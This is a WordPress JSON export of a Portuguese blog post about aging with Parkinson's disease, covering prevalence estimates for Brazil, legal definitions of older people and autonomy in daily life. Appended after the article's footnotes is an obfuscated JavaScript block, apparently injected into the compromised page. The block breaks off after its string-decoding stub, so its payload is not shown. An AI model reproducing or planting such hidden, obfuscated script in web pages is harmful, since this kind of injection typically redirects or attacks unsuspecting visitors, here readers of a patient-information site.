{"id":227,"date":"2022-05-20T11:36:13","date_gmt":"2022-05-20T14:36:13","guid":{"rendered":"https:\/\/www.tenhoparkinson.com.br\/?p=227"},"modified":"2023-07-03T10:24:23","modified_gmt":"2023-07-03T13:24:23","slug":"consideracoes-sobre-envelhecer-com-parkinson","status":"publish","type":"post","link":"https:\/\/www.tenhoparkinson.com.br\/?p=227","title":{"rendered":"Considera\u00e7\u00f5es sobre envelhecer com Parkinson"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Posts<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabela de conte\u00fado\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=227\/#Marcus_Carvalho_Fonseca\" >Marcus Carvalho Fonseca<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=227\/#Se_quiser_baixar_este_texto_em_pdf_clique_aqui\" >Se quiser baixar este texto em pdf clique aqui.<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Marcus_Carvalho_Fonseca\"><\/span>Marcus Carvalho Fonseca<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Se_quiser_baixar_este_texto_em_pdf_clique_aqui\"><\/span>Se quiser baixar este texto em pdf clique <a href=\"https:\/\/drive.google.com\/file\/d\/1miba0yAE1nSLWWk85G5LRVIak5hgnUji\/view?usp=share_link\" target=\"_blank\" rel=\"noreferrer noopener\">aqui<\/a>.<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>(email: <a href=\"mailto:mgdslme@gmail.com\">mgdslme@gmail.com<\/a>; Facebook: <a href=\"https:\/\/www.facebook.com\/TenhoParkinson\">https:\/\/www.facebook.com\/TenhoParkinson<\/a>)<\/p>\n\n\n\n<p><em>Aten\u00e7\u00e3o: os conte\u00fados apresentados neste texto s\u00e3o meramente informativos e n\u00e3o tem a pretens\u00e3o de esgotar os assuntos abordados. Seu objetivo, junto com os demais textos dispon\u00edveis no site \u00e9 contribuir para que, com sua leitura, voc\u00ea entenda com mais clareza o contexto da DP (doen\u00e7a de Parkinson) e possa buscar de forma mais consciente e objetiva as melhores solu\u00e7\u00f5es para suas necessidades.<\/em><\/p>\n\n\n\n<p>Uma boa fonte para voc\u00ea se informar sobre envelhecimento \u00e9 o s\u00edtio da SBGG &#8211; <strong>Sociedade Brasileira de Geriatria e Gerontologia<\/strong>(&lt;<a href=\"https:\/\/sbgg.org.br\/\">https:\/\/sbgg.org.br\/<\/a>&gt;)<strong>, <\/strong>que tem como objetivo principal congregar m\u00e9dicos e outros profissionais de n\u00edvel superior que se interessem pelo tema.<\/p>\n\n\n\n<p><strong>Por que falar sobre \u201cParkinson e envelhecimento\u201d?<\/strong><\/p>\n\n\n\n<p>Porque s\u00e3o dois temas muito pr\u00f3ximos e Inter influentes e n\u00f3s, pessoas com DP, devemos nos informar e procurar entender minimamente tudo aquilo que tem rela\u00e7\u00e3o com a doen\u00e7a, j\u00e1 que nossa capacidade de enfrentamento das adversidades trazidas pela DP depende de informa\u00e7\u00e3o relevante e motiva\u00e7\u00e3o.<\/p>\n\n\n\n<p>O fato \u00e9 que, com o passar do tempo, a pessoa com a DP apresenta alguns comprometimentos motores e n\u00e3o-motores produzidos n\u00e3o s\u00f3 pela doen\u00e7a, mas tamb\u00e9m pelo envelhecimento, que est\u00e1 frequente\u00admente associado ao decl\u00ednio do desempenho cognitivo e fisiol\u00f3gico.<\/p>\n\n\n\n<p><strong>Quem e quantos somos?<\/strong><\/p>\n\n\n\n<p>Nada nos distingue a priori. N\u00f3s, pessoas com Parkinson, podemos ser qualquer um, homens e mulheres de qualquer etnia, de qualquer n\u00edvel socioecon\u00f4mico, de qualquer nacionalidade e de qualquer idade, apesar da DP instalar-se de forma lenta e progressiva, em geral em torno dos 50 a 60 anos de idade. A DP \u00e9 a doen\u00e7a cr\u00f4nica neurodegenerativa mais comum nos idosos depois da doen\u00e7a de Alzheimer.<\/p>\n\n\n\n<p>Apesar dessa predomin\u00e2ncia em idades mais avan\u00e7adas, a literatura reporta que 10% dos casos ocorrem antes dos 40 anos (parkinsonismo de in\u00edcio precoce) e at\u00e9 em menores de 21 anos (parkinsonismo juvenil).<\/p>\n\n\n\n<p>A epidemiologia <a id=\"_ftnref1\" href=\"#_ftn1\">[1]<\/a> da DP tem distribui\u00e7\u00e3o universal e atinge todos os grupos \u00e9tnicos e classes socioecon\u00f4micas. Sua etiologia <a id=\"_ftnref2\" href=\"#_ftn2\">[2]<\/a> \u00e9 idiop\u00e1tica (sem causa ou origem determinadas), apesar de haver evid\u00eancias de uma poss\u00edvel causa multifatorial, com a combina\u00e7\u00e3o de predisposi\u00e7\u00e3o gen\u00e9tica, presen\u00e7a de fatores ambientais, fatores pessoais e envelhecimento cerebral.<\/p>\n\n\n\n<p>N\u00e3o h\u00e1 at\u00e9 o momento nenhuma forma de prever se um indiv\u00edduo saud\u00e1vel ou n\u00e3o ter\u00e1 DP e, para aqueles que t\u00eam a doen\u00e7a, prever que sintomas ir\u00e3o se desenvolver e com que grau de severidade.<\/p>\n\n\n\n<p>Estatisticamente a rela\u00e7\u00e3o do envelhecimento com a DP \u00e9 muito clara; dados divulgados e aceitos em geral, mostram que de 1 a 2\/% dos indiv\u00edduos com mais de 65 anos (65+) em todo o mundo t\u00eam a doen\u00e7a, ou seja, 1 a 2 indiv\u00edduos para cada 100 idosos 65+.<\/p>\n\n\n\n<p>Para todo o universo de pessoas, as estat\u00edsticas mostram que a doen\u00e7a atinge de 0,1 a 0,2% de toda a popula\u00e7\u00e3o (1 a 2 casos para cada 1.000 habitantes). Para uma popula\u00e7\u00e3o mundial que no in\u00edcio de 2020 j\u00e1 atingiu a marca de 7,76 bilh\u00f5es de indiv\u00edduos (<a href=\"https:\/\/www.worldometers.info\/br\/\" target=\"_blank\" rel=\"noreferrer noopener\">www.worldometers.info)<\/a>, estima-se que existam pelo menos 7,76 milh\u00f5es de pessoas com Parkinson em todo o planeta.<\/p>\n\n\n\n<p>Nesse contexto, deve ser observado que, apesar dessa predomin\u00e2ncia em idades mais avan\u00e7adas, \u00e9 citado que 10% dos casos ocorrem antes dos 40 anos (parkinsonismo de in\u00edcio precoce) e at\u00e9 em menores de 21 anos (parkinsonismo juvenil).<\/p>\n\n\n\n<p>Os dados sobre a quantidade de indiv\u00edduos com a DP no Brasil s\u00e3o estimados a partir da premissa de que a frequ\u00eancia dessa patologia varia muito pouco em diferentes pa\u00edses, independentemente da composi\u00e7\u00e3o \u00e9tnica. Assim, passamos a conviver com uma estimativa de 210 a 420 mil pessoas com a DP no Brasil, para uma popula\u00e7\u00e3o de 210 milh\u00f5es de brasileiros [<a id=\"_ftnref3\" href=\"#_ftn3\">3]<\/a>, n\u00famero que tende a aumentar nos pr\u00f3ximos anos devido a dois fatores influentes: o crescimento e o envelhecimento da popula\u00e7\u00e3o do pa\u00eds.<\/p>\n\n\n\n<p>Estima-se que em 2060, de cada 4 indiv\u00edduos no Brasil, um ter\u00e1 mais de 65 anos. No caso da estimativa do n\u00famero de pessoas com DP em 2060, adotamos conservadoramente como base de c\u00e1lculo apenas os casos associados aos indiv\u00edduos 65+ no limite inferior de 1%.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table  class=\" table table-hover\" ><tbody><tr><td><strong>Ano<\/strong><strong><\/strong><\/td><td><strong>Popula\u00e7\u00e3o total do<\/strong><strong><\/strong> <strong>Brasil<\/strong><strong><\/strong><\/td><td><strong>Popula\u00e7\u00e3o 65+<\/strong><strong><\/strong> <strong>do Brasil<\/strong><strong><\/strong><\/td><td><strong>Expectativa de pessoas com DP<\/strong><strong><\/strong> <strong>no Brasil<\/strong><strong><\/strong><\/td><\/tr><tr><td><strong>2020<\/strong><\/td><td><strong>210.000.000<\/strong><\/td><td><strong>9,6% da popula\u00e7\u00e3o total<\/strong> <strong>20.260.000 idosos 65+<\/strong><\/td><td><strong>Acima de 210.000<\/strong><\/td><\/tr><tr><td><strong>2060<\/strong><\/td><td><strong>228.300.000<\/strong><\/td><td><strong>25,5% da popula\u00e7\u00e3o total<\/strong> <strong>58.200.000 idosos 65+<\/strong><\/td><td><strong>Acima de 582.000<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Concluindo, o que se v\u00ea \u00e9 que em 40 anos o n\u00famero de pessoas com DP no Brasil praticamente triplicar\u00e1.<\/p>\n\n\n\n<p>Como \u00e1reas do conhecimento, DP e envelhecimento s\u00e3o tratadas pela neurologia e pela gerontologia e geriatria respectivamente. O especialista em Gerontologia \u00e9 o profissional com forma\u00e7\u00e3o de n\u00edvel superior em uma ou mais das diversas \u00e1reas do conhecimento (Psicologia, Servi\u00e7o Social, Nutri\u00e7\u00e3o, Terapia Ocupacional, Direito e outras), titulado pela SBGG ou outra institui\u00e7\u00e3o reconhecida, apto para lidar com quest\u00f5es do envelhecimento e da velhice, com um olhar interdisciplinar a partir da sua \u00e1rea original de conhecimento. J\u00e1 a Geriatria \u00e9 uma especialidade m\u00e9dica que se vale dos conhecimentos da Gerontologia com o objetivo da promover um envelhecer saud\u00e1vel por meio da preven\u00e7\u00e3o e do tratamento das doen\u00e7as, da reabilita\u00e7\u00e3o funcional e dos cuidados paliativos. Ambas exigem abordagens multidisciplinares considerando a complexidade de suas causas e de seus efeitos.<\/p>\n\n\n\n<p>Uma quest\u00e3o importante \u00e9 o n\u00famero de geriatras no Brasil, que segundo a Comiss\u00e3o de Defesa dos Direitos da Pessoa Idosa da C\u00e2mara Federal dos Deputados (<a href=\"https:\/\/www.camara.leg.br\/noticias\/581078-numero-de-geriatras-nao-acompanha-envelhecimento-da-populacao\/\">https:\/\/www.camara.leg.br\/noticias\/581078-numero-de-geriatras-nao-acompanha-envelhecimento-da-populacao\/<\/a>), est\u00e1 muito abaixo do m\u00ednimo necess\u00e1rio para cuidar da popula\u00e7\u00e3o de idosos. Estima-se que existam menos de 2.000 geriatras em todo o pa\u00eds. Mas isso \u00e9 assunto para outra conversa que trataremos brevemente em outro texto.<\/p>\n\n\n\n<p>Pelos dados apresentados parece n\u00e3o haver d\u00favidas de que DP e envelhecimento \u00e9 um tema que merece nossa aten\u00e7\u00e3o, concorda? Acreditamos que sim. Primeiro porque \u00e9 mais uma fonte de conhecimento sobre nossa sa\u00fade, nosso organismo, nossa fisiologia, nossos tratamentos, nossos sintomas e sinais e nosso entendimento sobre quem \u00e9 quem nessa hist\u00f3ria. Segundo, porque sendo uma pessoa com DP, seu envelhecimento se dar\u00e1 at\u00e9 o fim na companhia dessa doen\u00e7a.<\/p>\n\n\n\n<p>Ent\u00e3o vamos l\u00e1, inicialmente entender o que caracteriza um indiv\u00edduo como idoso e em seguida como se d\u00e1 o processo de envelhecimento.<\/p>\n\n\n\n<p>Nesse contexto uma quest\u00e3o importante que nos parece pouco discutida \u00e9 a da DP precoce, que acomete indiv\u00edduos com idades abaixo de 40 anos e, apesar de pouco comuns, tamb\u00e9m jovens e adolescentes. O fato \u00e9 que quanto mais jovem se tem a doen\u00e7a, mais importantes se tornam as diferentes formas de lidar com ela, j\u00e1 que ter uma doen\u00e7a progressiva t\u00e3o cedo na vida \u00e9 um enorme desafio. H\u00e1 situa\u00e7\u00f5es em que as pessoas com DP escondem a doen\u00e7a em determinados grupos sociais, por diferentes constrangimentos.<\/p>\n\n\n\n<p>O limite de idade abaixo do qual se entende que a doen\u00e7a \u00e9 precoce \u00e9 de 40 anos. Esse valor \u00e9 arbitr\u00e1rio e aceito normalmente como refer\u00eancia.<\/p>\n\n\n\n<p>Independentemente da idade em que a DP surge, os sintomas s\u00e3o semelhantes, apesar de haver evid\u00eancias de que em pacientes jovens a doen\u00e7a evolui mais lentamente. N\u00e3o surpreende que assim seja j\u00e1 que nos indiv\u00edduos com idades mais avan\u00e7adas as perdas neurais progressivas devido ao processo de envelhecimento (senesc\u00eancia) s\u00e3o mais intensas.<\/p>\n\n\n\n<p>Pelo que vimos, h\u00e1 uma vis\u00edvel relev\u00e2ncia do processo de envelhecimento nas duas quest\u00f5es sobre as quais conversamos: quem somos e quantos somos. Vamos trazer esse tema do envelhecimento em pr\u00f3ximas conversas.<\/p>\n\n\n\n<p><strong>O cidad\u00e3o idoso<\/strong><\/p>\n\n\n\n<p>O envelhecimento, assim como a inf\u00e2ncia, a adolesc\u00eancia e a maturidade, \u00e9 um processo natural e inevit\u00e1vel que faz parte do ciclo da vida, marcado por mudan\u00e7as irrevers\u00edveis ao longo do tempo. Logo, envelhecer n\u00e3o \u00e9 uma escolha.<\/p>\n\n\n\n<p>O conceito de idoso utilizado para fins legais est\u00e1 associado \u00e0 idade do indiv\u00edduo. De acordo com a <strong>Lei n.\u00ba 10.741, de 1.\u00ba de outubro de 2003 (Estatuto do Idoso)<\/strong> considera-se como idoso toda pessoa com 60 anos ou mais, apesar de em muitas situa\u00e7\u00f5es se utilizar a idade de 65 anos como refer\u00eancia. A <strong>L<em>ei n\u00ba 13.466, de 12 de julho de 2017 <\/em><\/strong><em>alterou os arts. 3\u00ba, 15\u00ba e 71\u00ba da lei n\u00ba 10.741, a fim de estabelecer a prioridade especial das pessoas maiores de oitenta anos (80+), ou seja, dentre os idosos, \u00e9 assegurada prioridade especial aos 80+, atendendo suas necessidades sempre preferencialmente em rela\u00e7\u00e3o aos demais idosos 60+.<\/em><em><\/em><\/p>\n\n\n\n<p>H\u00e1 muito convivemos com paradigmas que refor\u00e7am os conceitos de que velho e velhice e mais recentemente de idoso, est\u00e3o geralmente associados a aspectos negativos, com estere\u00f3tipos de figuras decadentes, in\u00fateis e dependentes.Um exemplo significativo e atual dessa percep\u00e7\u00e3o distorcida \u00e9 o da evolu\u00e7\u00e3o da simbologia adotada para representar a condi\u00e7\u00e3o de idoso nos ambientes onde h\u00e1, por lei, algum tipo de condi\u00e7\u00e3o especial de atendimento ou acesso. As imagens na figura falam por si.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"493\" height=\"311\" src=\"https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/02\/imagemparadigmaenvelhecimento.png\" alt=\"\" class=\"wp-image-228\" srcset=\"https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/02\/imagemparadigmaenvelhecimento.png 493w, https:\/\/www.tenhoparkinson.com.br\/wp-content\/uploads\/2023\/02\/imagemparadigmaenvelhecimento-300x189.png 300w\" sizes=\"auto, (max-width: 493px) 100vw, 493px\" \/><\/figure><\/div>\n\n\n<p>Socialmente esses paradigmas consolidaram uma imagem de menos valia do idoso e o que assistimos hoje \u00e9 uma tentativa de resgatar a identidade desse grupo de pessoas, abolindo express\u00f5es tradicionalmente depreciativas como velho e velhice e adotando pol\u00edticas e pr\u00e1ticas de cunho social tais como envelhecimento ativo, saud\u00e1vel e participativo. Nesse contexto se observa uma busca de novos termos para identificar os indiv\u00edduos com idade mais avan\u00e7ada. A distin\u00e7\u00e3o, por exemplo, entre terceira e quarta idades \u00e9 mais uma tentativa de ajustar padr\u00f5es de classifica\u00e7\u00e3o com a realidade de grupos sociais cada vez maiores e mais influentes.<\/p>\n\n\n\n<p>A interrup\u00e7\u00e3o do envelhecimento ou a diminui\u00e7\u00e3o de sua intensidade com o prolongamento da etapa da maturidade \u00e9 um desejo, \u00e0s vezes obsessivo, de muitas pessoas e que se manifesta de diferentes formas, desde a convic\u00e7\u00e3o de que \u201cainda \u00e9 cedo para pensar nisso\u201d, quando o assunto \u00e9 envelhecer, at\u00e9 o consumo nem sempre respons\u00e1vel de diferentes produtos (cosm\u00e9ticos, p\u00edlulas, alimentos energ\u00e9ticos etc.) com supostas propriedades de retardamento do envelhecimento. Exemplos cl\u00e1ssicos da manifesta\u00e7\u00e3o desse desejo s\u00e3o apresentados em v\u00e1rios filmes tais como O Retrato de Dorian Gray (1945), Cocoon (1985), O Curioso Caso de Benjamin Button (2008), A Incr\u00edvel Hist\u00f3ria de Adaline (2015), dentre outros, cujos enredos se desenvolvem com as previs\u00edveis crises de consci\u00eancia dos personagens frente \u00e0 possibilidade da juventude eterna. Se voc\u00ea ainda n\u00e3o os assistiu, n\u00e3o deixe de ver; s\u00e3o todos uma boa divers\u00e3o. Quer uma dica de qual assistir primeiro? Se voc\u00ea gosta de filmes de a\u00e7\u00e3o e aventura, n\u00e3o deixe de ver Highlander \u2013 O Guerreiro Imortal (1986).<\/p>\n\n\n\n<p><strong>O processo de envelhecimento<\/strong><\/p>\n\n\n\n<p>Segundo o <strong>Caderno de Aten\u00e7\u00e3o B\u00e1sica, n. 19 do Minist\u00e9rio da Sa\u00fade, Envelhecimento e sa\u00fade da pessoa idosa: <\/strong><em>\u201cO envelhecimento pode ser compreendido como um processo natural, de diminui\u00e7\u00e3o progressiva da reserva funcional dos indiv\u00edduos \u2013 senesc\u00eancia\u201d<strong>.<\/strong><\/em><\/p>\n\n\n\n<p>Nesse conceito duas palavras t\u00e9cnicas merecem destaque: reserva funcional,&nbsp;que \u00e9 a quantidade de nutrientes dispon\u00edvel (vitaminas, minerais, amino\u00e1cidos, \u00e1cidos graxos&#8230;)&nbsp;para o nosso equil\u00edbrio celular e bom funcionamento fisiol\u00f3gico do organismo, e senesc\u00eancia, que \u00e9 a condi\u00e7\u00e3o de um envelhecimento que ocorre sem a influ\u00eancia de doen\u00e7as e que abrange todas as altera\u00e7\u00f5es produzidas no organismo como consequ\u00eancia do passar do tempo.&nbsp;<\/p>\n\n\n\n<p>O processo de envelhecimento apesar de ser comum a todos \u00e9 espec\u00edfico de cada indiv\u00edduo, n\u00e3o havendo correla\u00e7\u00f5es que permitam prever as caracter\u00edsticas org\u00e2nicas e psicol\u00f3gicas do indiv\u00edduo em fun\u00e7\u00e3o de sua idade cronol\u00f3gica. Observe que esta \u00e9 uma caracter\u00edstica tamb\u00e9m da DP.<\/p>\n\n\n\n<p>No resumo do <strong>Relat\u00f3rio Mundial de Envelhecimento e Sa\u00fade da OMS (Organiza\u00e7\u00e3o Mundial da Sa\u00fade) de 2015<\/strong>, encontramos as seguintes observa\u00e7\u00f5es: \u201c<em>As mudan\u00e7as que constituem e influenciam o envelhecimento s\u00e3o complexas. No n\u00edvel biol\u00f3gico, o envelhecimento \u00e9 associado ao ac\u00famulo de uma grande variedade de danos moleculares e celulares. Com o tempo, esse dano leva a uma perda gradual nas reservas fisiol\u00f3gicas, um aumento do risco de contrair diversas doen\u00e7as e um decl\u00ednio geral na capacidade intr\u00ednseca do indiv\u00edduo. Em \u00faltima inst\u00e2ncia, resulta no falecimento. Por\u00e9m, essas mudan\u00e7as n\u00e3o s\u00e3o lineares ou consistentes e s\u00e3o apenas vagamente associadas \u00e0 idade de uma pessoa em anos. Al\u00e9m disso, a idade avan\u00e7ada frequentemente envolve mudan\u00e7as significativas al\u00e9m das perdas biol\u00f3gicas\u201d.<\/em><\/p>\n\n\n\n<p>N\u00e3o h\u00e1 d\u00favidas, portanto, de que o envelhecimento traz perdas para o ser humano. Seja qual for a abordagem para se lidar com o envelhecimento, temos que aceitar que ele traz perdas e que essas perdas muitas vezes se confundem com os sintomas e sinais da DP.<\/p>\n\n\n\n<p>N\u00e3o h\u00e1 d\u00favidas tamb\u00e9m de que essas perdas podem e devem ser tratadas por cada um de forma natural buscando a preserva\u00e7\u00e3o de suas funcionalidades para um envelhecimento saud\u00e1vel e ativo. O termo ativo refere-se \u00e0 participa\u00e7\u00e3o cont\u00ednua nas quest\u00f5es sociais, econ\u00f4micas e culturais; j\u00e1 o termo saud\u00e1vel refere-se ao bem-estar f\u00edsico, mental e social. Observe que essas condi\u00e7\u00f5es e objetivos se aplicam igualmente para pessoas com DP, independentemente da sua faixa et\u00e1ria.<\/p>\n\n\n\n<p>Saud\u00e1vel, ativo ou qualquer outra denomina\u00e7\u00e3o que a ele se atribua, o mais importante nesse contexto \u00e9 buscarmos as condi\u00e7\u00f5es poss\u00edveis para mantermos nossas funcionalidades no processo de envelhecimento.<\/p>\n\n\n\n<p>Quando falamos em possibilidades, para muitos de n\u00f3s, a coisa n\u00e3o \u00e9 t\u00e3o simples assim pois a DP j\u00e1 nos imp\u00f4s algumas limita\u00e7\u00f5es e parte de nossa independ\u00eancia est\u00e1 comprometida. E muitas vezes esse comprometimento vem de outra quest\u00e3o inevit\u00e1vel que \u00e9 o processo natural de envelhecimento, j\u00e1 que \u00e0 medida que se envelhece surgem doen\u00e7as cr\u00f4nicas comuns nos idosos (hipertens\u00e3o, diabetes, artrose, etc) e desenvolvem-se defici\u00eancias (como exemplo defici\u00eancias auditivas e visuais).<\/p>\n\n\n\n<p>Apesar dessas restri\u00e7\u00f5es, conforme preconiza a OMS, h\u00e1 um entendimento que ter sa\u00fade n\u00e3o \u00e9 meramente aus\u00eancia de enfermidades, mas sim um estado de bem-estar f\u00edsico, ps\u00edquico e social. \u201c<em>Isto significa que um indiv\u00edduo, mesmo portador de uma doen\u00e7a, poder\u00e1 sentir-se saud\u00e1vel, desde que seja capaz de desempenhar fun\u00e7\u00f5es, atividades, capaz de alcan\u00e7ar expectativas e desejos, capaz de manter-se ativo em seu meio, ter alguma fun\u00e7\u00e3o social, efetivar projetos.\u201d<\/em><\/p>\n\n\n\n<p>Mas \u00e9 assim tamb\u00e9m com outras doen\u00e7as, diriam alguns. Sim, com certeza, por isso acreditamos que uma boa parte do que estamos tratando sobre a DP e o envelhecimento cabe para outras doen\u00e7as em idosos, especialmente os requisitos para nos mantermos ativos e saud\u00e1veis.<\/p>\n\n\n\n<p>Concluindo, manter a autonomia e independ\u00eancia durante o processo de envelhecimento \u00e9 uma meta fundamental para todos os indiv\u00edduos, em especial para n\u00f3s pessoas com DP.<\/p>\n\n\n\n<p><strong>Autonomia e independ\u00eancia<\/strong><strong><\/strong><\/p>\n\n\n\n<p>Ent\u00e3o, para n\u00e3o confundirmos, vamos esclarecer que a <strong>autonomia<\/strong> diz respeito \u00e0 nossa capacidade de avaliar alternativas e tomar decis\u00f5es, enquanto a <strong>independ\u00eancia<\/strong> est\u00e1 associada \u00e0 nossa capacidade de realizar atividades cotidianas sem necessitar do suporte ou interfer\u00eancia de outros.<\/p>\n\n\n\n<p>Podemos dizer que para atender a esses requisitos, \u00e9 necess\u00e1rio que o indiv\u00edduo tenha preservadas as suas fun\u00e7\u00f5es cognitivas, especialmente as \u201cfun\u00e7\u00f5es executivas\u201d que representam o conjunto de habilidades que<strong> <\/strong>permitem ao indiv\u00edduo realizar atividades di\u00e1rias como planejar, executar, avaliar e corrigir um plano de a\u00e7\u00e3o; tomar decis\u00f5es; resolver problemas, dentre outras importantes habilidades. Al\u00e9m disso, \u00e9 necess\u00e1ria a pr\u00e1tica permanente de duas importantes fun\u00e7\u00f5es: a preven\u00e7\u00e3o e a proatividade. Voc\u00ea j\u00e1 pensou sobre o significado dessas palavras?<\/p>\n\n\n\n<p>Podemos considerar a <strong>preven\u00e7\u00e3o<\/strong> como uma a\u00e7\u00e3o voltada para evitar a ocorr\u00eancia de algo n\u00e3o desejado, tal como a preven\u00e7\u00e3o de acidentes, de riscos \u00e0 sa\u00fade, de quedas, de perdas e de muitas outras possibilidades. J\u00e1 a <strong>proatividade<\/strong> \u00e9 caracterizada pelo comportamento de antecipa\u00e7\u00e3o, de fazer o que tem que ser feito sem adiamentos desnecess\u00e1rios, de ser respons\u00e1vel pelas suas escolhas e pelas suas atitudes em rela\u00e7\u00e3o \u00e0s dificuldades existentes.<\/p>\n\n\n\n<p>Fa\u00e7a agora uma pausa e pense um pouco nos seus h\u00e1bitos, nas suas a\u00e7\u00f5es cotidianas, e procure identificar pr\u00e1ticas de preven\u00e7\u00e3o e proatividade no seu dia a dia. Percebe como s\u00e3o importantes para nossa autonomia e independ\u00eancia?<\/p>\n\n\n\n<p>Essa deve ser, portanto, a ess\u00eancia de nossa luta com a DP: sermos proativos no nosso dia a dia, exercitarmos as fun\u00e7\u00f5es executivas que mant\u00eam nossa autonomia e praticarmos exaustivamente as atividades cotidianas que garantem nossa independ\u00eancia. Tudo isso evidentemente com o conhecimento dos profissionais da sa\u00fade que nos acompanham, com seguran\u00e7a e dentro dos limites de nossas possibilidades.<\/p>\n\n\n\n<p>Um outro ponto importante \u00e9 entender que uma doen\u00e7a nem sempre leva \u00e0 incapacidade. Isso vai depender dos sintomas da doen\u00e7a e das exig\u00eancias de determinado trabalho.<\/p>\n\n\n\n<p>Mas como saber avaliar em que condi\u00e7\u00f5es somos funcionais ou incapazes?<\/p>\n\n\n\n<p>A OMS \u2013 Organiza\u00e7\u00e3o Mundial da Sa\u00fade desenvolveu uma Classifica\u00e7\u00e3o Internacional de Funcionalidade, Incapacidade e Sa\u00fade, conhecida como CIF, tema para nosso pr\u00f3ximo texto.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\">[1]<\/a> \u00c1rea do conhecimento que estuda os diferentes fatores que interv\u00eam na propaga\u00e7\u00e3o de doen\u00e7as, sua frequ\u00eancia, sua distribui\u00e7\u00e3o geogr\u00e1fica, sua evolu\u00e7\u00e3o e os meios necess\u00e1rios para a sua preven\u00e7\u00e3o.<\/p>\n\n\n\n<p><a href=\"#_ftnref2\" id=\"_ftn2\">[2]<\/a> \u00c1rea do conhecimento que estuda a origem e a causa de um determinado fen\u00f4meno. Aplicada em diversas \u00e1reas, a etiologia \u00e9 muito comum na medicina, com o objetivo de analisar as prov\u00e1veis causas dos diversos tipos de doen\u00e7as.<\/p>\n\n\n\n<p><a href=\"#_ftnref3\" id=\"_ftn3\">[3]<\/a> Dados oficiais https:\/\/www.ibge.gov.br\/apps\/populacao\/projecao\/ indicam que o Brasil possui uma popula\u00e7\u00e3o estimada em 210 milh\u00f5es de pessoas, das quais aproximadamente 30 milh\u00f5es possuem 60 anos ou mais e comp\u00f5em o grupo de idosos, representando algo em torno de 14,6% da popula\u00e7\u00e3o total.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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